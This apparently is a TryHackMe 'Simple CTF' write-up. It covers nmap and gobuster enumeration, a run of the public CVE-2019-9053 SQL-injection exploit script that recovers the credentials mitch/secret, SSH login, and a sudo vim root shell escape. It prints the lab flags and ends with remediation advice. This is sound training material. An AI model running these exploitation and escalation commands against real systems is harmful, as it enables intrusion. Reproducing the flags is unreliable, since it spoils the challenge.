TryHackMe — Simple CTF — Atharva Kulkarni

1. Enumeration — Nmap

A full port scan reveals three open services. Note that SSH is on the non-standard port 2222 — a detail that matters later.

$ nmap -sC -sV -p- TARGET 21/tcp open ftp vsftpd 80/tcp open http Apache httpd 2222/tcp open ssh OpenSSH

Port	Service	Relevance
21	FTP	Anonymous access / file leads
80	HTTP	Web app — primary attack surface
2222	SSH	Non-standard port for later login

2. Web Discovery — Gobuster

Directory brute-forcing the web root uncovers a hidden application path.

$ gobuster dir -u http://TARGET/ -w /usr/share/wordlists/dirb/common.txt /simple (Status: 301)

Browsing to /simple/ reveals the application and, critically, its version in the footer: CMS Made Simple version 2.2.8. Version disclosure is the pivot for CVE research.

3. Exploitation — CVE-2019-9053

CMS Made Simple versions below 2.2.10 are vulnerable to CVE-2019-9053, a time-based blind SQL injection in the News module. Exploit-DB script 46635.py automates extraction of the username, password hash, and salt, then cracks the hash against a wordlist.

$ python 46635.py -u http://TARGET/simple --crack -w rockyou.txt [+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: mitch [+] Email found: admin@admin.com [+] Password found: 0c01f4... [+] Password cracked: secret

Credentials recovered: mitch / secret.

4. Foothold — SSH on Port 2222

The recovered credentials are reused for SSH — remembering the non-standard port from the Nmap scan.

$ ssh mitch@TARGET -p 2222 mitch@TARGET's password: secret $ cat user.txt G00d j0b, keep up!

5. Privilege Escalation — vim sudo Escape

Checking sudo rights shows mitch can run vim as root with no password. Per GTFOBins, vim can spawn an interactive shell — and when launched under sudo, that shell runs as root.

$ sudo -l User mitch may run the following commands: (root) NOPASSWD: /usr/bin/vim # GTFOBins vim sudo escape $ sudo vim -c ':!/bin/sh' # now root # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt W3ll d0n3. You made it!

Key Takeaways

Attacker Perspective

CVE-2019-9053 is a time-based blind SQLi — no output returned, but boolean logic reveals the database character by character. Once credentials are extracted, the sudo misconfiguration is a textbook GTFOBins privilege escalation.

Defender / Remediation

Patch promptly — CMS Made Simple 2.2.10 fixed this. Audit sudo permissions regularly. vim and other editors should never have NOPASSWD sudo access. Run web applications as a non-root user.